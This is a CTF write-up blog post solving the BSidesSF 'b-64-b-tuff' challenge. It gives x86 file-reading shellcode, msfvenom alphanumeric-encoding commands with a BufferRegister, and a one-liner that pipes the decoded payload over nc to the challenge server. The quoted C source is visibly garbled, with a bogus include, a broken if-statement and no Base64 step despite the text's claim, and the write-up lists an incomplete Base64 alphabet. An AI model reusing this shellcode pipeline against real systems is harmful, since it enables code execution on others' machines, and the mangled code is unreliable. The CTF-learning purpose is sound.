BSidesSF CTF: b-64-b-tuff Walkthrough

This week I was part of team "NeverTry" who competed in the BSidesSF online capture the flag. As far as CTF's go, this was a fun one, taking place over 2 days there were a range of cool puzzles and flags to find.

Over a series of upcoming posts I'll be running through the solutions for a number of my favourite challenges, starting with b-64-b-tuff.

This challenge started with a simple application which receives binary shellcode over the network, and executes the payload. The aim is simple, read the contents of /home/ctf/flag.txt.

This challenge however came with a twist, let's have a look at the source code of the running service:

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys>

#define LENGTH 1024
#define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0)

int verify(uint8_t *hash, uint8_t *data, size_t length) {
  uint8_t buffer[MD5_DIGEST_LENGTH];
  MD5_CTX ctx;
  MD5_Init(&ctx);
  MD5_Update(&ctx, data, length);
  MD5_Final(buffer, &ctx);

  return !memcmp(buffer, hash, MD5_DIGEST_LENGTH);
}

int main(int argc, char *argv[])
{
  uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  ssize_t len;

  alarm(10);

  disable_buffering(stdout);
  disable_buffering(stderr);

  printf("Send me stuff!!\n");
  len = read(0, buffer, LENGTH);

  if(len <code>\n");
    exit(1);
  }

  if(!verify(buffer, buffer+16, len - 16)) {
    printf("md5sum didn't check out!\n");
    printf("Expected: <md5sum><code>\n");
    exit(1);
  }

  asm("call *%0\n" : :"r"(buffer));

  return 0;
}

That's right, the payload will be Base64 encoded before being executed.

To start with, we grab a simple Linux x86 read() shellcode and modify it to read the flag:

http://shell-storm.org/shellcode/files/shellcode-73.php

/*
Linux/x86 file reader.

65 bytes + pathname
Author: certaindeath

char main[]=
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"
"\x80\x89\xc6\xeb\x06\xb0\x01\x31"
"\xdb\xcd\x80\x89\xf3\xb0\x03\x83"
"\xec\x01\x8d\x0c\x24\xb2\x01\xcd"
"\x80\x31\xdb\x39\xc3\x74\xe6\xb0"
"\x04\xb3\x01\xb2\x01\xcd\x80\x83"
"\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"
"\xff"
"/home/ctf/flag.txt\x00"

Obviously when Base64 encoded, the above payload is going to be corrupted, so we need to Base64 decode our binary shellcode before sending it to the server.

A Base64 encoded string consists of a character set of A-Z, a-z and 0-9, so our payload will need to consist of this character set only.

... enter Metasploit's x86/alpha_mixed encoder :)

Let's attempt to encode the payload and see what happens:

python -c 'import sys; sys.stdout.write("\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff/home/ctf/flag.txt\x00")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux | hexdump -C

When run through hexdump, we get the following output:

Hexdump Output

As you can see, not all of the encoded shellcode is ASCII, we have a small section at the beginning which is outside of our desired "A-Za-z0-9" ASCII set.

The reason for this is due to the stub which is prepended and is used to identify our shellcode in memory. A quick Google search and we find the following post from OffensiveSecurity showcasing the encoder: https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/.

It turns out that we can use the "BufferRegister" advanced option to specify a register which points to our shellcode. When provided, this helps to remove the stub we saw above. Let's throw the binary into radare2 and see what registers may point to our code:

Radare2

The final "call" instruction relates to the asm("call *%0\n" : :"r"(buffer)); that we saw in the server source code, so eax looks like a good candidate :). Let's update the msfvenom options and review the output:

Hexdump 2

Looks good, we are ready to decode the payload and exploit:

python -c 'import sys; sys.stdout.write("\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff/home/ctf/flag.txt\x00")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX | base64 -d | nc b-64-b-tuff-c4f89487.ctf.bsidessf.net 5757

asciicast